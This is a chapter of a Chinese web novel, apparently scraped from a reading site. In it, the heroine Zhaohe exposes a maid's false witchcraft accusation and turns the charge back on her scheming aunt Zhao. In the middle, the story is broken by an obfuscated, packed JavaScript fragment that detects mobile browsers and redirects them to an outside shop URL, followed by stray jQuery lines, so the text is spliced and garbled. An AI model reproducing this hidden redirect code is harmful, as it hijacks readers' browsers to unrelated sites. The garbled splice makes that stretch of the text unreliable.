见妻子仓皇惊惧，朝彦腮帮一紧，也不忍多说，遂缓和了面色：“夫人劳心伤神，想必已疲惫不堪，为夫陪你回房休息，你意下如何？”


    他本欲先退一步，借坡下驴；偏赵氏不解其意，只当他关心则乱，一口谢绝：


    “夫君放心。妾身强健，还能硬顶。”


    她款款一笑，转头又冷声吩咐：“快些！耽误了老祖宗老爷的时辰，你们担当得起吗？”


    见她不管不顾硬淌浑水，朝彦早已气得不轻。可惜在外不得发作，他只得强忍按耐，静观其变。


    朝和旁观半响，反倒兴致盎然。


    她瞧了瞧脸色铁青的朝彦，又瞅了瞅颐指气使的赵氏，倏地笑出了声。


    “二婶，依朝和愚见，二叔并不是您所料的那个意思吧？”


    她笑吟吟的，顷刻便吸引了赵氏的目光。


    “你此言何意？”她冷笑，半眯着眼，“难不成我自己的丈夫，你比我还了解吗？”


    她勃然大怒，朝和却仍面不改色：“二婶莫动气，您身为长辈，我哪敢僭越？不小辈拙见罢了。只是思及您二人夫妻一体，有道是，察言观色，方能互无隔阂。不过，这听与不听，还不是全在您？”


    她慢吞吞道。


    见她装腔作势说不敢逾矩，却句句道尽冒犯之语，赵氏不禁怒火中烧。


    “放肆！”她色厉内荏，大喝一声，余光小心瞟了一眼朝彦。


    察其眉目阴沉果真如是，赵氏不觉一愣。


    朝和一见，趁机火上浇油：“您瞧，我说了您还不信。既到了如今这个地步，我也不得不站出来说句公道话了。”


    她余音未尽，赵氏已匆忙回过神来，怒斥道：“你闭嘴！”


    “那怎么能行？”朝和摇摇头，叹息，“您此刻站着的可是蒹葭院的地方，用得是国公府的丁，我如何置身事外？”


    她冷笑：“如今坑也挖了，地也翻了，院也搜了，压根什么都没有，您却仍揪着我不放。”


    “二婶。”她转身面朝赵氏，面露讥诮，“那老道分明是个骗子，究竟是给您灌了什么迷魂药，才叫您对他深信不疑，糊涂至此？”


    “你！”


    赵氏气急败坏，伸手就要掌掴，朝和却一把抓住了她的手。


    “看来二叔所料不虚。”她叹息道，手上的劲一分不松，面露讥嘲，“您果然是疲惫不堪。


    她一字一顿道。


    赵氏手腕分寸未进，挣扎片刻只得悻悻缩手，朝和顺势卸力。


    她扶着小臂，踉跄几步，分明丢了颜面，却仍架着面子冷笑：


    “朝和，你未免太看轻了我。我若没有确凿的证据，何故大动干戈？”


    朝和不置可否，赵氏却愈加忿忿。


    只见她偏脸往身侧一唤：“絮儿！”


    随即有个婢女从人群后走出，众人这才察觉她还携了别的丫鬟。


    “眼熟吗？”赵氏得意洋洋，“朝和，这可是你院里的丫头！”


    朝和笑，神色依旧从容：“蒹葭院的奴才，两只手就数得过来，也难为二婶记挂我。”


    “这丫头怎么了？”她审视的目光在那丫鬟脸上停顿了一瞬，又状似不解道，“莫非是不懂事，得罪了二婶？”


    “怎会？”赵氏掩唇，“这丫头可懂事得很。”


    “你以为我为何斩钉截铁？便是絮儿检举你！”


    她余音未尽，絮儿便“扑通”一声跪地：“奴婢，奴婢不敢欺瞒老夫人，老爷和夫人。二小姐，以巫蛊人偶祸乱人心，确是奴婢亲眼所见！”


    她颤抖着，仿佛是鼓足了极大的勇气般抬起头：“二小姐，小姐！您就招了吧。


    这样邪门的东西，奴婢自瞧见那日起便不得安枕。


    如今，如今是再无法替您隐瞒下去了！”


    朝和却嗤笑一声：“我且问你。你既说亲眼目睹，难不成，是二月廿三那日？”


    “……不错！”絮儿惊慌失措，左顾右盼了一会，终于跪伏在地，“奴婢想了一会，正是二月廿三！”


    “一派胡言！”合璧蹙眉，“那日小姐分明与珠连一起，往栖霞院探望大小姐，一连数日有目共睹，满府的下人都能作证，岂容你污蔑？”


    赵氏陡然一惊，她下意识抓住了女儿的衣袖。


    “她，她原来打得是这样个主意。”朝容骇然，“可是，可是她怎么知道——”


    “嘘！”赵氏一把捂住她的嘴，冲她摇摇头，又往絮儿那头抛了个眼色，可手仍止不住的颤抖。


    “……奴婢，奴婢想起来了！”絮儿似回过神般哆嗦了一会，又张慌大喊，“是，是黑夜！没错，奴婢当日听闻小姐说，白天太惹眼了，月黑风高才好行事！”


    她话罢，又深深埋下了头。


    “黑夜？”朝和轻笑，“若真是我所为，此等严密之事断不能走漏了风声。不提看见，恐怕知晓也难得。你又是如何亲眼目睹，还未被我抓住？


    何况二月廿三值夜之人并非是你，你一个奴才，坏了本分偏去注意我一言一行且不多说，这违反府规私自夜行又是要闹哪般？”


    那絮儿浑身颤抖，想辨解却无从说起，只好嗫嚅几下，再不敢吭声。


    眼见是理屈词穷。


    朝和讥刺地瞥了她一眼，又道；“再者，巫蛊之术事关重大。要么，我亲力亲为，要么，我紧盯下人做。”


    “可无论哪种，都必定劳心费力。阖府周知，我是这么个病殃殃的模样，怎撑得住一宿通宵？”


    “二婶，您不妨问问祖母。”朝和冷笑，“自神智恢复，我可有过一次晚到，遗漏过一日请安？”


    见老太太沉默不语，赵氏哑口无言，朝和环顾周遭，早明了净是一丘之貉。


    “我虽不解二婶为何偏听偏信，寻奸人以为证，指控我炼巫蛊人偶害人。”朝和冷冰冰道，“还逼得家丁累死累活，冒雨也要将我这蒹葭院翻个个，却依旧一无所获。”


    “只是您咄咄逼人之势，不得不教我疑心，今日这出，究竟是二婶真被蒙蔽，还是——”


    “自导自演？”她讽刺地牵起嘴角。


    朝和话音刚落，赵氏当即愤慨：“你没有证据，休要血口喷人！”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576773|187142||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“我只是猜测罢了。”朝和平心静气道，“您这么激动作甚？”


    “您不也是凭着外人三言两语，便携了一干人等来搜院吗？”


    “我居所被毁，含冤蒙屈尚来不及多说，您情绪如此激动，倒显得我不懂事了。”


    朝和顿了一下，又恭维朝彦：“所幸二叔极明事理，愿全权包揽我这陋居修缮，朝和真是感激不尽。”


    她垂眉屈膝行礼，朝彦应也不是，不应也不是，只得尴尬得僵持在原地。


    见状，朝和悄悄弯了弯唇，又喟叹着补充：“父亲回京在即，想必他瞧见蒹葭院焕然一新，也会倍感欣慰吧。”


    此话一出，朝彦再不能充耳不闻，只得干巴巴地回了一句：“这个自然。”


    “那便谢过二叔。”朝和冲他点点头，又嫣然一笑，“那既然话已说清，若无要事，阿和便先行回房休息了。想必是劳累太过，以致忽感无力，无福欣赏雨景。若各位长辈赏脸，不如也来蒹葭院休憩，阿和必定喜不自胜。”


    她倒是笑盈盈的，可对面几人哪肯吭声？纷纷面色难看，未置一词。


    “那便不强求了。”她叹了口气，又低声道，“合璧，我们走。”


    合璧应了一声，随即转身，刚走了两步，却迎面撞上个人来。


    合璧抬头一看，当即大吃一惊：“三小姐？”


    “您怎么在这儿？”


    不错，来者匆匆，正是朝仪。


    不等朝和诧异，赵氏已大喝一声扑了过来，不管不顾地吊起女儿的手臂质问：


    “朝仪！”她气急败坏道：“你怎么现在才来？”


    “你这没心肝的丫头，”她边骂，边拼命晃荡着朝仪的胳膊，指甲仿佛要掐进她肉里，即便女儿疼得抽气也不曾放手，“你知不知道，因为你没来，我和容儿——”


    “夫人！”朝彦罕见地朝赵氏发了火，“还要再说吗？”


    赵氏愣怔了一下，回神间，她茫然回首望了望丈夫警告的神色，可瞥过眼去，便瞧见了朝和。


    她正与合璧相扶着，眼中闪着饶有兴致的光。


    无端的，赵氏竟打了个寒噤，即刻便噤了声。


    即使觉察自己事态而悻悻收手，却依旧是猛然间的动作，她箍得朝仪那样紧，松手的刹那，朝仪不可避免地趔趄了几下。


    赵氏却仍是一副习以为常的神色。


    她死死瞪着朝仪，恶狠狠指着女儿的鼻尖，仿佛要戳穿朝仪的脸。


    那模样，咬牙切齿的，不像在看女儿，反倒像在瞧仇人。


    朝仪疼得直冒眼泪，却只是抱着胳膊喏喏应声，姿态卑微又可怜。


    她垂着头，来了一刻钟都不到，便被赵氏生拉硬拽地推走了。


    合璧看得唏嘘：“这三小姐，过得都是什么日子哪。”


    “都是一个娘生的，我瞧二夫人，待大小姐简直好的不得了。怎么轮到这小女儿，便这般苛待？”


    “欸，小姐。”合璧忽然道，“你说，就算二夫人偏心，可这是在众人跟前，多少双眼睛看着，她何必暴露本性呢？也不怕坏了名声？”